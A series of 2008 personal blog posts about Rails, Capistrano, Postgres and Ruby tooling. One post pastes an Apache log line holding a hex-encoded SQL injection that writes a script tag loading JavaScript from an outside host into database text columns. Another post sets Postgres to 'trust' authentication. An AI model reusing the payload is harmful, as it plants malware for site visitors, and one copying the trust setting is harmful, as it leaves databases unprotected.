Our application deals with several different document types. There are some common workflows that these documents follow. The most basic workflow is for a user to create a Requisition, have that requisition go through an approval process, create a Purchase Order (PO, in procurement-speak) from that requisition, and manage Invoices, and Inventory based on POs. We took a very Apple approach to organizing the top-level tabs so that users can think of what document they want to work with, and then drill down to see what actions are available on that document type. Initially, we had action-oriented tabs, but it was hard and confusing to figure out how to logically group the submenu items.

Based on who's logged in, there are different tabs, and different submenus. If a normal user logs in, all they can see is the Home tab because all they care about is ordering stuff. Admins and various supervisor roles will see different sets of tabs. To make this possible, we use a great little Rails plugin called Blueprint to define the structure of the menu in Ruby code. It lets us define a hierarchial menu structure with ruby blocks. Very spiffy.

class GlobalMenuStructure < Blueprint::Container
  define do
    node 'menus' do
      menu 'Home' do
        node 'links' do
          link 'Home', :link_to => { :controller => 'user', :action => 'home' }
          # ...
        end
      end

      menu 'Requests' do
        node 'links' do
          link 'Requisitions', :link_to => { :controller => 'requisitions', :action => 'index' }
          # ...
        end
      end

      #...
    end
  end

Defining the structure in code enables us to generate and tailor a menu for each specific user. The hierarchial menu structure also lets us create a reverse-lookup object to determine which tab should be highlighted based on the current page's url.

After the menu structure is defined, we looped over the structure and conditionally spewed out a bunch of unstyled ul's for the menu. We chose YUI Menu to give us cross-browser hover effects and actions on the menus. YUI lets you define a menu either in HTML markup or in javascript. Theoretically we would get slightly faster performance if we created the menu's in javascript, but it was easier to do styling and extra features if we defined it in markup. Note that doing it in markup leaves users without javascript with an equally unusable app because the unhidden and unstyled submenus would cover everything else. YUI also allows you to trap for keypresses so you could implement keyboard shortcuts if you wanted.

I don't recommend these super deep and complex menus for webapps, because it ends up making the webapp feel more like a desktop app. At the same time, web menus are never as good as native desktop menus, so it ends up looking half-assed. The Coupa menus are definitely the best solution for the problem though. If we didn't have menus, we'd still be control-f'ing for that link we wanted.

Hacking Live Systems

Jerry Cheung — Fri, 24 Oct 2008 00:00:00 +0000

After my evening jog, I hopped onto the QA environment around 11pm because I wanted to look something up for another blog post I was writing. Instead of being greeted with the welcome screen of the app, I get redirected to our homepage. All kinds of warning flags were going off in my head, but I couldn't collect my thoughts because of the runner high. Did I break something before I left work? Did I forget to deploy the latest code base to QA? Were we going to lose a night of quality QA from the team in India?

My fears were confirmed when I signed on to chat. Kyle was online. Kyle is never online this late. I shoot him a quick message, "can you reach devtrunk?". Just as I hit return, I get a message from Minh, "did you change the deploy stuff?". QA in India had nothing to test on. Things were looking grim.

Deep breath, and go!

Do a fresh deploy. Interesting, the deployment went through without a hiccup.

SSH into the QA box, look at the Apache logs. Interesting, Apache's down. Let's bring her back up.

Hit the page. Interesting, still getting redirected. Must be a bad config.

Scan through httpd.conf, scan through the included vhosts. Interesting, they all look ok...

WAIT! There's no vhost defined for devtrunk, the QA environment. But I saw it earlier today... Let's find an old working config and put that guy in for now.

Reloading Apache...

I have never been happier to see Domo-kun.

It's funny when these situations come up. Programmers go into this 'turbo' mode. They start typing really fast, fixing and breaking things left and right. This surge of energy can't be sustained for a long period of time, so it's really important that they both diagnose and fix the problem before they burn out. I left out all the details in my description for the solution, but they involved a lot of window switching, poorly typed out IM messages, and a lot of keystrokes.

Man, what a rush. I'm not sure what gave me more of a workout, a 45 minute hour run, or typing frantically while figeting my leg.

Where to Find Things in Rails

Jerry Cheung — Mon, 13 Oct 2008 00:00:00 +0000

When I started learning Rails, I was amazed when all kinds of magical things started working. The problem was that I never felt in control of the magic. If I wanted a specific kind of magic to occur, then Google would route me to an extremely unfriendly and near worthless Ruby on Rails wiki. I often had to guess how things work by tweaking code found on peoples' blogs or by trial and error after not understanding the Rails API documentation. Nowadays, I'm very comfortable with getting around in Rails and all it's plugins. Here's how I go about hunting down a problem.

When a bit of magic goes wrong, here's the order of how I look for things:

Search within the current file for the method definition.
Search Google to see if it's a documented Rails feature.
Search Google to see if it's a common Rails-y idiom.
ack for the method name in the apps/ subdirectory and see how it's used elsewhere.
Search for include statements that could have mixed it into this file only.
Skim config/environment.rb and/or config/initializers (Rails 2.x) for potential mixins.
ack the method in vendor/plugins to see if it came from a plugin.

Sometimes, I'm not so lucky and the method name is dynamically generated. For cases like these, I just ack for some substring of the method that I see being used by other files.

The checklist I outlined is far from a complete list of where I look for mystical Rails problems. This list is also not always in order either. At some point, I just became good at deciding where to start looking. Part of that skill comes from practice, but it really helps to encourage your sense of curiosity and dig into the code as well. I find myself reading Rails code and plugins code even when I understand the documentation. Reading the source has taught me all kinds of Ruby idioms and deepened my understanding of certain libraries.

If you're coming from a language or framework that has fantastic and comprehensive documentation, don't forget to read the source every now and then. Even with complete documentation, it's important to keep up with your framework and language's community to maximize what they can do.

Coupa and Rails 2

Jerry Cheung — Tue, 16 Sep 2008 00:00:00 +0000

Joy and churchbells this morning here in sunny San Mateo! David smacked down Rails 1.2.3 with a heavy hand and replaced it with the newer and shinier Rails 2.1.1. Here's what's rocking and not-so-rocking with the upgrade.

For starters, the upgrade was completely painless from my perspective. It was really as easy as:

sudo gem install rails  # to update rails to 2.1.1
svn up

That's it! script/server started up fine, and all was happy... Until I logged in. Then I was confronted with the not-so-friendly exception:

ActionController::RenderError (You called render with invalid options : {:layout=>false, :action=>"cloud_portlet"}, nil):
/Library/Ruby/Gems/1.8/gems/actionpack-2.1.1/lib/action_controller/base.rb:847:in `render_with_no_layout'
/Library/Ruby/Gems/1.8/gems/actionpack-2.1.1/lib/action_controller/layout.rb:260:in `render_without_benchmark'
/Library/Ruby/Gems/1.8/gems/actionpack-2.1.1/lib/action_controller/benchmarking.rb:51:in `footnotes_original_render'
/Library/Ruby/Gems/1.8/gems/activesupport-2.1.1/lib/active_support/core_ext/benchmark.rb:8:in `realtime'
/Library/Ruby/Gems/1.8/gems/actionpack-2.1.1/lib/action_controller/benchmarking.rb:51:in `footnotes_original_render'
/vendor/plugins/footnotes/lib/textmate_initialize.rb:12:in `render'

It turns out the old Textmate footnotes plugin doesn't play well with new Rails. A simple svn rm and we were on our way.

Unfortunately, Textmate wasn't the only broken plugin.

ScopedAccess and named_scope

ScopedAccess was also broken. ScopedAccess allowed us to impose conditions on ActiveRecord finders in our controllers. For example, to show only budget adjustments made on a specific budget, I had the following ScopedAccess filter defined on the budgets controller.

around_filter ScopedAccess::Filter.new(BudgetLineAdjustment,
  Proc.new { |controller|
    { :find => { :conditions => ['budget_line_id = ?', controller.params[:id]] } }
  }),
  :only => [:show, :show_owned ]

This filter wraps around the :show and :show_owned action. Whenever find is called on BudgetLineAdjustment, the :conditions hash it passed in with the finder. This worked pretty well and I didn't think it breached MVC design.

Arguably, it's the model's job to limit and filter what's accessible. That's exactly what Rails 2.x does. We've refactored our ScopedAccesses with named_scope at the model layer. The above example now lives in BudgetLineAdjustment:

class BudgetLineAdjustment
  named_scope :for_budget_line,
              lambda { |budget_line|
                { :conditions => ['budget_line_id = ?', budget_line.id] }
              }
  # ... snip
end

Engines

Initially, we didn't plan on switching to Rails 2 this sprint. The original plan was to scrap LoginEngine and UserEngine from the project to prepare to migrate to Rails 2. Replacing Engines just a tedious scan through all the Engine code we used and selectively copying over the code that we wanted to keep. Initially I thought that I would have a hell of a time migrating this to fit with restful_authentication, but it wasn't bad and I removed tons of code.

Views

Cosmetically, we renamed all the views to be suffixed with .html.erb rather than .rhtml.

Riding on Rails (2)

Migrating to Rails 2 was a straight forward project. It didn't require any new design. We just had to make sure that whatever was working before continued to work after the migration. I'm super thankful that we decided to tackle this project early in our sprint because it gave up plenty of time to catch small silly things. There were plenty benefits to migrating to Rails 2. We could remove a lot of the backports of Rails 2 features that we had previously kept in lib/rails_extensions.rb. The whole system felt a bit snappier, especially in development. The development logs were actually useful again because they weren't fill with deprecation warnings and noise from the Engines code. This is what it must feel like to be the cool kid on the block.

Week of Insomnia

Jerry Cheung — Sun, 17 Aug 2008 00:00:00 +0000

Contrary to what you might think, I think insomnia's fantastic. It puts me in this limbo state where my mind feels like lead and I suck at almost everything. One thing I've found myself to be quite good at is catching up on Internet. There was plenty of crap, but I found a lot of good technical stuff.

For starters, I subscribed to a bunch of new blogs:

Rails Garden - he had a fun entry on Cobol On Cogs. I love the functional function keys.
Jay Fields' Thoughts - I forget where I initially heard about the Presenter pattern, but all the Ruby references to Presenter link to this guy. Once you've read and understood the purpose of Presenter, then ActivePresenter is an implementation with a very clean declarative syntax.
Rails Envy - I knew of them before as the funny Ruby on Rails commercials duo. I noticed they had a podcast, so I started listening to that when I go running.
Stack Overflow - I also started listening to Stack Overflow. It's not running music, but it's pretty darn entertaining.

I played with Google Analytics a bit, and noticed a fun bit in my Apache access logs:

81.164.83.227 - - [17/Aug/2008:15:32:31 +0000] "GET
/?;DeCLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661
726368617228323535292C40432076617263686172283430303029204445434C4152452
05461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E61
6D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D
6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752
720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622
E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C6
55F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736
F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302
920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B
40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223
E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6
520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F77777
7332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27
2727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2
040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F434
15445205461626C655F437572736F72%20AS%20CHAR(4000));ExEC(@S);
HTTP/1.1" 200 61318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; .NET CLR 1.1.4322)"

I also had a blast playing with jQuery. The docs were clear and well organized. All the selectors were exactly what I wanted. It was easy to chain together what I wanted to do because of the methods return jQuery objects. The callbacks were also intuitive and easy to manipulate... even for a Javascript newbie.

Another library which I fell in love with at first site was HTTParty. It really brings me back to my Perl screen scrapping days. (Oh! WWW::Mechanize) It also linked me to the Programmable Web homepage. I didn't really read through what's available, but this is going to be a great place to prototype mashups.

Seeing all this good stuff made me look for an excuse to write something to solidify the basics in my head. The result is a half-assed mish-mash of Javascript and Ruby ala jQuery and Merb. I used Merb instead of Rails because I was too lazy to create a database. Surprisingly enough, Passenger supports Merb just fine. I looked at some of the other lighter Ruby web frameworks, and they were all pretty fun. I noted that the new Webgen installed Ramaze as a dependency. Check it out if you're feeling hyphy.

(Disclaimer: This is an inside joke that just won't die)

Speaking of Passenger, the new Railscast episode about Passenger along with nuby on rails' article about rstakeout might finally provide a solution to prevent me from having to restart my server in development whenever I edit a plugin or a file in the lib directory. It also clued me into a whole world of Ruby monitoring systems, the funniest named one being God.

I worked a bunch on migrating this blog over to use Webgen. I'd say that I'm about 60 or 70 percent of the way there. I spent most of the time just reading and enjoying how simple and clear the code was. I think I have a good enough grip on enough code that I'd like to write a few extensions so that I can continue to publish this blog without any changes to the previous articles I wrote.

I think there was even more stuff I wanted to keep in my head. Unforunately, a real downside of insomnia is having some, if not most, of the good stuff leak out.

Mini-apps Galore!

Jerry Cheung — Wed, 13 Aug 2008 00:00:00 +0000

I'm warming up to the idea of using small webapps that do less. Instead of full blown behemoth applications that take a lot of time to learn and configure, they're more in the spirit of Unix tools or perl one-liners. Here's three that I came across that show quite a bit of promise.

Hoptoad

Think of Hoptoad as a beautiful and functional wrapper around exception notifier. Only rather than installing exception notifier per application, Hoptoad is a single stop for all your broken app needs. Setup is as simple as installing the Hoptoad plugin, adding 4 lines to your app, and running a rake task. After this, you can access your exceptions in Hoptoad's simple web interface, or subscribe to the provided RSS feeds. Each exception gets a summary view, some environment context, and a full backtrace. If you wanted to munge on that exception data some more, they include an API to access the site.

PingMyMap

I came across PingMyMap when I was cleaning up my sitemap generator. At the time I only used Google's python sitemap generator. I'm not hell-bent on SEO, but I figured it wouldn't hurt for people to be able to find my site if it actually helps them. PingMyMap doesn't offer any tips or tools for optimizing your site. For an app that deals with sitemaps, it doesn't even offer you a tool to generate a sitemap! Instead all this mini app does is take an existing sitemap and send it off to 5 search engines that it knows about. It provides an API for you to post the actual sitemap, and then it'll tell you whether it was successful or not in submitting your sitemap to those search engines.

Disqus

To play with Disqus, simply post a comment to this blog article :). Like the other two examples above, Disqus offloads the common tasks of 'comments' into a shared webapp. You can manage comments you get from multiples sites. It also offers integration with existing popular blog engines. Unlike the others, Disqus also holds some of your data. This eases management of that data, but at the cost of losing control of your own data. One of the main reasons I enjoyed using Blogger was that it allowed me the option to store my own data on my own server. One of the main reasons why I disliked Blogger was that functionality wasn't always guaranteed. Disqus shows promise because they also plan on having APIs for accessing their app, but only time can show if this one's a keeper.

For the record, I had the exact same idea for a webapp like Disqus for a long time. I even spent an evening a few days ago prototyping out a super raw version. My raw version let you do all kinds of crazy stuff... including XSS attacks, off-site AJAX calls, and SQL injection attacks :)

Wrap up

Even though these 3 apps do very different things, they all share a very similar feel. They don't try to do everything, they're simple to setup, and best of all, they're extendable and hackable through their APIs. It might not be the kind of extensibility that a full-blown open source project provides, but with the shallow learning curve, it's the right amount of extensibility to get stuff done.

Picking at Capistrano

Jerry Cheung — Tue, 12 Aug 2008 00:00:00 +0000

Here is the setup I wanted with Capistrano with my housing app. I wanted to develop locally and continue using Subversion over SSH for source control. Meanwhile, Cap would run svn commands remotely with basic svnserve. My first configuration looked like this:

set :repository, "file:///var/svn/#{application}/trunk"
set :user, "myuser"

My reasoning was that cap would first ssh to my server, and then run

svn checkout file:///var/svn/housing/trunk /path/to/deploy

Since I use a private key to authenticate to my server, I wouldn't need to type my password to start the initial ssh connection, and cap wouldn't need a password to access the repository because it would execute commands on the remote server with "file:///"

It turns out that SCM commands are run locally rather than remotely. The implication is that my ":repository" variable has to be accessible both locally and remotely. With ":repository" set to "file:///" cap tried to determine the revision number by running 'svn info' locally. Of course, this failed miserably because the repository existed on the remote server.

Once I figured this out, I thought it'd be a simple matter of changing the config to say:

set :repository, "svn+ssh://whatcodecraves.com/var/svn/#{application}/trunk"

Now cap will happily run svn locally because it'll work over "svn+ssh://". Unfortunately, this also had a huge flaw. When cap tries to run the checkout command remotely, it'll use "svn+ssh://". But because my private key isn't stored on the server, cap will give three feeble attempts before croaking:

** [208.53.44.43 :: err] Permission denied, please try again.
** [208.53.44.43 :: err] Permission denied, please try again.
** [208.53.44.43 :: err] Permission denied (publickey,password).
** [208.53.44.43 :: err] svn: Connection closed unexpectedly

What's weird about this is that I didn't ask cap to use public key authentication, but it didn't give me any choice in the matter! Crawling the internet yielded a lot of noise about poorly configured repositories or basic explanations about public key authentication. Finally, I came across a response in Capistrano's google group. The fix is damn short:

 default_run_options[:pty] = true

I looked up what a pseudo terminal. I don't really see why this provides a fix, but my guess is that setting pty to true creates a new process separate from the original ssh process. Running svn within this new process would default to password authentication after failing to use public key authentication.

This turned out to be an amazing pain to setup. But it did let me step through some of the Capistrano code and appreciate what goes on under the hood. It also teaches me to search their google group rather than doing a general web search.

Tweaking Apache with Phusion Passenger

Jerry Cheung — Mon, 11 Aug 2008 00:00:00 +0000

Carrying over from weekend cleanup, I started exploring the different deployment options available. Here are some bleak notes as I go along:

Phusion Passenger. Tried this one with Apache 2 and mpm-prefork instead of mpm-worker since mpm-worker was chewing through my 256mb of ram too quickly. Using Passenger with normal Ruby was easy enough. It really simplied what needed to be defined in the vhost. Using Passenger with their recommended 'enterprise' Ruby was simply a nightmare. Trying to restart Apache with PassengerRuby set to enterprise ruby's path had load path issues. Even after hacking up the file that was whining with liberal amounts of load path unshifting, it still acted funny. Also, it clutters up your system with basically a whole new branch of ruby: gems, irb, ruby, you name it. The last bit of annoynance was that the deb they provide had a broken uninstaller, so I had to manually remove /opt when I was purging it.

Debian/Ubuntu Specific Rails with Postgresql

Jerry Cheung — Sun, 10 Aug 2008 00:00:00 +0000

I spent the weekend migrating from my shared hosting at Dreamhost over to VPS hosting at SilverRack. In the move, I setup my housing app to run on postgresql instead of mysql. I was in for a few surprises though.

When I ran db:migrate, I got a strange error:

 rake aborted!
 No such file or directory - /tmp/.s.PGSQL.5432

At first I thought it was because postgres wasn't started, but that didn't make sense because I had another terminal with psql running just fine. If you follow the --trace message, you'll find that the most poorly named option in database.yml will fix this problem:

 production:
   adapter: postgresql
   # ... other stuff
   host: /var/run/postgresql

The 'host' parameter is the directory Rails looks in to get the tmp file to determine how to connect to postgres. I guess in other *nix systems this is conventionally in tmp, but that's not true for Debian based distros.

After fixing that, I ran into another little problem:

psql: FATAL:  Ident authentication failed for user "xxx"

This one comes as a result of good defaults by the Debian postgresql configs. A quick google solved this one:

# add to pg_hba.conf, found in /etc/postgresql/...
local    all   all   trust
host     all   127.0.0.1  255.255.255.255    trust

For a cheatsheet of setting up a Rails project with Postgresql, check out this guide I wrote a while back.

Messy Ruby Requires

Jerry Cheung — Thu, 7 Aug 2008 00:00:00 +0000

At some point in tinkering with a language, you outgrow simple scripts and want to organize your code into separate modules that live in separate files. It's just this little OCD code habit you develop. Since I've only been using Ruby with Rails up till now, loading and importing the correct library files have been completely hidden away by Rails convention and magic. Everytime I want to use a library named 'acts_as_giraffe', I either A) assumed it was loaded already, or B) do require 'acts_as_giraffe'. But the real world's not so easy.

Like other languages, Ruby has a concept of a load-path where it'll search for .rb files to require. To see what this defaults to, run the following:

ruby -e 'puts $LOAD_PATH'

The shorter, perlish version is to use $: instead of $LOAD_PATH. This variable is just an array of directory names to search when require is called. To add or remove load paths, just mutate the list with shift and unshift. To see what Rails magic provides you, go to a Rails project, and run script/console and print $:

Amazing isn't it? For my housing project that uses Edge Rails, I see that the precendence for loading libraries is something along the lines of:

vendor/gems
current directory
system ruby libraries
system ruby
gems
vendor/rails
vendor/plugins
app/models
app/controllers
app/views

This is a much longer list of paths to look for a library compared to the first run I did on the command line.

What I like about this magic is that it keeps most of my code clear from hardcoded or semi-hardcoded absolute paths like the following:

require File.expand_path(File.dirname(__FILE__) + "/../config/environment")

The first hit on google about the topic is a pretty good explanation of the problem. I agree that a single giant 'require farm' is hard to unmaintain and pretty unsightly, but I do think that small require farms that are associated with specific modules and directories are a good way to organize. For example, if I had a library called 'obfuscator' that lives in many separate files:

obfuscator/
  crypt.rb
  cram.rb
  barf.rb

I'd add an 'obfuscator.rb' file that globed all the rb files and required them:

Dir.glob(File.join('obfuscator', '*.rb')).each do |lib|
  require lib
end

Then whenever I wanted to use obfuscator, I'd simply require 'obfuscator.rb'. The above would work if your current working directory is the same as obfuscator.rb. Unfortunately, if it isn't, then you're screwed because require won't be able to find obfuscator/*.rb relative to where you are.

One fix is to hard code the glob to be relative to the current file, rather than the current working directory:

Dir.glob(File.join(File.dirname(__FILE__), 'obfuscator', '*.rb')).each do |lib|
  require lib
end

This will make the library lookups relative to 'obfuscator.rb' (FILE). Since it's semi-hardcoded it'll work.

Another solution that I came across today that I liked is to have the library to-be-loaded be in charge of doing the requiring. I noticed that Webby also used a similar trick called ensure_in_path to calculate some library loading:

# Adds the given arguments to the include path if they are not
# already there
def ensure_in_path( *args )
  args.each do |path|
    path = File.expand_path(path)
    $:.unshift(path) if test(?d, path) and not $:.include?(path)
  end
end

I'll keep an eye out for other clean ways people have been approaching this problem, but so far I like the approach of manipulating the load path in a function or file, and having that function or file loaded before the rest of the project. I hope that clears up some requiring woes!

Flaco Crushers

Jerry Cheung — Wed, 6 Aug 2008 00:00:00 +0000

Originally, this post was titled 'Ruby Markdown Implementations' and I was going to talk about alternatives to BlueCloth. But while I was reading up about Maruku, I followed a link to webgen. As if that wasn't enough, reading up on webgen led me to yet another static site generator called webby.

Webgen

Webgen is the first guy I found. My heart sunk a little for Flaco, but I was immediately impressed by it.

Maturity

Webgen has been around for a while, and is written by Thomas Leitner, who has been in the Ruby community since at least 2004. It looks like the project itself has been actively developed since 2004, with the last release being just a week ago. At it's height, it had over 900 downloads.

Code Quality

Skimming through the code, it looks very clean and ruby-like. There are test cases and a custom test harness. The Rakefile has many tasks for streamlining administrative tasks. The RDoc link on the site is broken, but there is very comprehensive RDoc that can be generated with the source. It's worth noting that for a project that started over 4 years ago, the code doesn't look crufty or outdated at all. Kudos to you Mr. Leitner.

Licensing

GPL V2. Licensing doesn't really bother me, but it's worth mentioning.

Noteable Features

build custom webgen tags for an extensible templating language.
meta information fields.
clever configuration.
clean way to specify the render chain. e.g. erb, then markdown
plugin-like ways to add breadcrumbs and menus.
caching (don't know the details, but it creates a cache file)

Webby

After poking around the edges of webgen, I googled for 'static site generation' and found Webby. The webby homepage wow-ed me more, but 'ASCII Alchemy' alone isn't enough sometimes.

Maturity

There's both a rubyforge and a github project for webby. The fact that it uses github and rspec makes me think that Tim Pease is on top of his ruby fashion. The last commit on github was a mere 2 hours ago. The whole project was started about a year ago.

Code Quality

Webby also looks pretty clean and ruby-like. I can't quite put my finger on it, but I think I liked how webgen was laid out better. I didn't spend as much time in the webby code, but it seems like it isn't split up as well as webgen and might be harder to add new features. The RDoc didn't seem as good as webgen's. I reserve final judgement for later.

Licensing

MIT License. How chic.

Noteable Features

better guides and community for support
use of rake for all actions
autobuild feature
build pages from templates

Both Webgen and Webby share a lot of features. The ones that don't overlap seem like they could be written because of the clean architectures they both seem to follow. The features webby lists and shows in it's tutorial seem to match more with what I want for my blog.

I'm happy to have found these two projects because they both do what I want them to. It saves me a ton of work in doing not-so-much tasks like command line parsing and setting up library paths. On top of that, I can imagine adding the features that I wanted in Flaco that aren't available in these systems. They might even turn out to be features that could be useful to other people :)

Flaco Rewrite

Jerry Cheung — Tue, 5 Aug 2008 00:00:00 +0000

I've been happily using my own ghetto blog I named Flaco Blog. The beauty of forcing myself to eat my own software is that I can't really complain about it. Either something works exactly as I want it, or it slowly irritates me until it overcomes the effort needed to rewrite it. So why am I proposing a rewrite?

Overall, I must say I'm very happy with Flaco. It's simpler to setup and use than all the other blog engines I've tried to use in the past. As far as bugs go, the scope of what I want is so well defined that all the bugs I had were really minor. What I haven't been enjoying is hacking the code. It feels more like a chore than fun. And like I said, I feel that I've finally been irritated enough to warrant some action.

Earlier, I made this whole rant about enjoying Perl. I still feel that everything I said is true, but instead of working on features I wanted, I spent my time pouring over CPAN deciding what object libraries to use. I had become a language penny pincher: mulling over how to do things and losing site of my goals.

The new plan is to use Ruby. I won't use Rails because that doesn't really suit the purpose of Flaco. Using Ruby will allow me to trickle some of the stuff I learn from work back home. Also, it'll let me explore the non-Rails parts of Ruby. Here's what's in store for the coming days.

existing publish features of Perl Flaco.
extraction of blog system configuration.
separation of blog content and blog system
incremental publishing (publish only since last published)

Those bullets are somewhat ordered for the coming days. The last one will be the new and interesting bit. I'm really looking forward to it.

My Keyboard

Jerry Cheung — Sun, 3 Aug 2008 00:00:00 +0000

... is awesome. I have the same keyboard at home and at work. It does everything that I want a keyboard to do. It looks fantastic. It feels fantastic. It types fantastic. And best of all, it does all of this without any drama.

I got my first Microsoft Natural Ergo 4000 after a gruesome compiler's project at school. My shoulders were hurting from the crappy chair and table combination, and my forearms were sore and numb from using the iBook keyboard.

I never used an ergo-split keyboard for an extended period of time before this. It's not that I hated them or anything, it's just I didn't really see a point to using one. After that painful 164 project, I figured that every little bit might help, so I gave the split keyboard a shot.

The keyboard came in a crummy cheap-o box with crummy software, and a crummy piece of plastic designed to be placed under the keyboard and get in your way. Take my advice and just toss all of this as soon as possible. Setup was super easy since it's just a USB keyboard. I opted away from the Microsoft Natural Ergonomic Desktop 7000 purely because wireless keyboards require too much maintenance. I don't care if battery life gets better and better. I know the one time I don't have pre-charged batteries will be the one time the batteries in the keyboard decides to die. I think the 7000 is a better deal overall if I didn't have a mouse already.

Overall impressions have been great. I never notice my keyboard these days. That's exactly how I'd like a keyboard to behave: working and unnoticeable. I had to unlearn a few bad touch-typing mistakes like 6, and 7. The other complaint I had was the lack of support for mapping the media buttons in OS X. I would've really loved to have the back/forward/scroll buttons work since they're near my thumb and index fingers. Thankfully, the back and forward buttons don't click anymore so it doesn't matter if OS X supports them or not.

I highly recommend the Microsoft Natural Ergo 4000 keyboard. In fact, I highly recommend all Microsoft keyboards and mice. They're always a good deal when it comes to comfort and features.

Emacs Info

Jerry Cheung — Sat, 2 Aug 2008 00:00:00 +0000

Just a quick cheatsheet of how to get around in Info mode in Emacs.

n,p - next previous nodes
u - up a node
m - menu items (things that start with *)
f - cross references (things underlined)
m?, f? - list of cross refs or menus
l,r - last, reverse-last
t - top node
d - directory (index of info)
q - quit
M-x info-appropos
g - goto node (by name)
1..9 - menu item by number

SICP in Info Format!

Setting up your own Info docs

This came about because I was having some trouble installing rinari for emacs. On the plus side, I got to read through some intro material about emacs lisp and came across what's in peter's head

Rails String Inflections

Jerry Cheung — Wed, 30 Jul 2008 00:00:00 +0000

I've been using constantize to turn strings into Class objects. Constantize is mixed into the String class by Rails. This got me to thinking about other clever helpers that might be mixed into the string class. A quick search through the API did not disappoint.

In ActiveSupport::CoreExtensions::String::Inflections, I found a whole list of goodies. I can find the database table name for a given class with 'tableize'. If I just wanted a Class name string instead of a Class object, I can use 'classify'. 'dasherize' probably isn't too useful for me, but I thought it was cute. I can see 'demodulerize' and 'foreign_key' to be very useful. 'humanize', 'pluralize', 'titleize' could be really useful for manipulating text before it's rendered for the user. 'underscore' can be used to calculate paths to files based on their class names.

Here's a quick cheatsheet of all the methods.

method	before	after
camelcase	same as camelize
camelize	i_like/them_camels	ILike::ThemCamels
classify	fish_and_chips	FishAndChip
constantize	classify, then turns it into a class object
dasherize	this_ones_cute	this-ones-cute
demodulize	Strings::All::This::Class	Class
foreign_key	Namespace::Model	model_id
humanize	employee_salary_id	Employee salary
pluralize	sheep	sheep
singularize	sheep	sheep
tableize	FrenchToast	french_toasts
titlecase	same as titleize
titleize	good night moon	Good Night Moon
underscore	NameSpace::Model	name_space/model

RSpec'ing acts\_as\_state\_machine

Jerry Cheung — Thu, 24 Jul 2008 00:00:00 +0000

One of my favorite plugins I've seen so far is acts_as_state_machine. It's a dead simple way to model the different states your models can be in. It also lets you register callbacks to when a model enters, entered, or leaves a particular state. It's absolutely fantasic until I have to test it. Then it becomes an absolute nightmare.

The first intuitive, but horrifically wrong idea is to stub out the current state:

@model.stub!(:state).and_return('old_state')
@model.some_event!
@model.state.should == 'new_state'

The problem with this is the mock will always return old_state, even if some_event! caused @model to go into new_state.

A less intuitive, but workable solution is to check that the transition event was fired:

@model.should_receive(:update_attribute).with(@model.class.state_column, "matched")

This is a little nicer, but kind of obscures the intention of the test. So ideally, I'd like to be able to say something like:

@model.should transition_to('matched').from('draft')

Thankfully, the crappy RSpec documentation does cover this case. It was easy to write a custom expection matcher:

module ActsAsStateMachineMatchers
  class Transition
    def initialize(expected)
      @expected = expected
    end

    def matches?(target)
      @target = target
      @target.should_receive(:update_attribute).
        with(@target.class.state_column, @expected)
    end

    def failure_message
      <<-MSG
      expected #{@target.inspect} to transition to state
      #{@expected}, but in state {@target.state}
      MSG
    end

    def negative_failure_message
      <<-MSG
      expected #{@target.inspect} to transition to state
      #{@expected}, but in state {@target.state}
      MSG
    end
  end

  def transition_to_state(expected)
    Transition.new(expected)
  end
end

This is one step away from my ideal case because I was too lazy to a Spec::Mocks::Methods with a corresponding Spec::Mocks::MessageExpectation, which is what 'should_receive' and 'with' are. If I ever get unlazy enough to poke into the code more, I could write the analogous 'should_transition_to', and 'from'. This might be a good excuse to open a github account and play with that too :)

First Sprint

Jerry Cheung — Fri, 18 Jul 2008 00:00:00 +0000

Today at work, I sat in my first planning poker meeting. This was in preparation of our next 4 weeks of development time. We used the Planning Poker site to vote on suggested projects. I had read a little bit about user stories back in my Rails class, but the few times I tried practicing agile development methodologies were always met with whining and criticism. It's good to be at a place where people support this.

The meeting brought up a lot of vague and not fully defined problems that we need to work on. It didn't help with researching or the actual design needed for some of the problems. However, it was still good to have a 30,000 mile view of what's coming up for the next month. Two things that caught my attention that I'd like to read more into are Background Job to replace BackgrounDRB, and Sphinx to replace Acts as Ferret.

Originally I had planned to have one day this weekend dedicated to writing and testing some features for housing, but the time disappeared and I lacked to motivation to pick that up. Hopefully next week will bring more updates in that area.

Dangerous Scaffolding

Jerry Cheung — Tue, 15 Jul 2008 00:00:00 +0000

I did something bad today. It wasn't bad enough to destroy working customer instances, but it was enough to make all the dev team all up in a huff. The worst part of the whole experience was a) I didn't remember I was the one who nuked it, and b) it got nuked because of some crufty scaffolding and default behaviours.

Backtrack a few days and imagine this scenario: I was working on an open ticket about permissions. I needed a user with a specific role to test with, so I looked up that user. I didn't know the user's password, so in my impatience, I go to my awesome bar and type in '/user/edit' by hand. An innoculous page renders, and I see the change password fields on the bottom of the page. I type in a bogus password, and hit enter.

All that seemed straight forward enough until I realized that the default form action under the change password section was "Delete User". Not even this raised any warning flags in my mind. It wasn't until a few days later when all kinds of crazy @#$! related to missing users started happening that I took notice. Can you guess what happened?

The first thing that went wrong was me hijacking the URL by hand instead of going through what the UI meant for me to do. The app does all it's edits and changes through users/show instead of users/edit. What users/edit renders instead is a well hidden scaffolded view from many moons ago. This form calls users/destroy. But wait! The riddle is far from over. Not only did the user I was working on get nuked, but several other users also mysteriously disappeared. This came about as a result of the User model mixing in acts_as_tree. Acts as tree apparently has an undocumented assumption that it should destroy it's children when the root is destroyed. At least I wasn't the first person to be burned by this.

Capify my App

Jerry Cheung — Sun, 13 Jul 2008 00:00:00 +0000

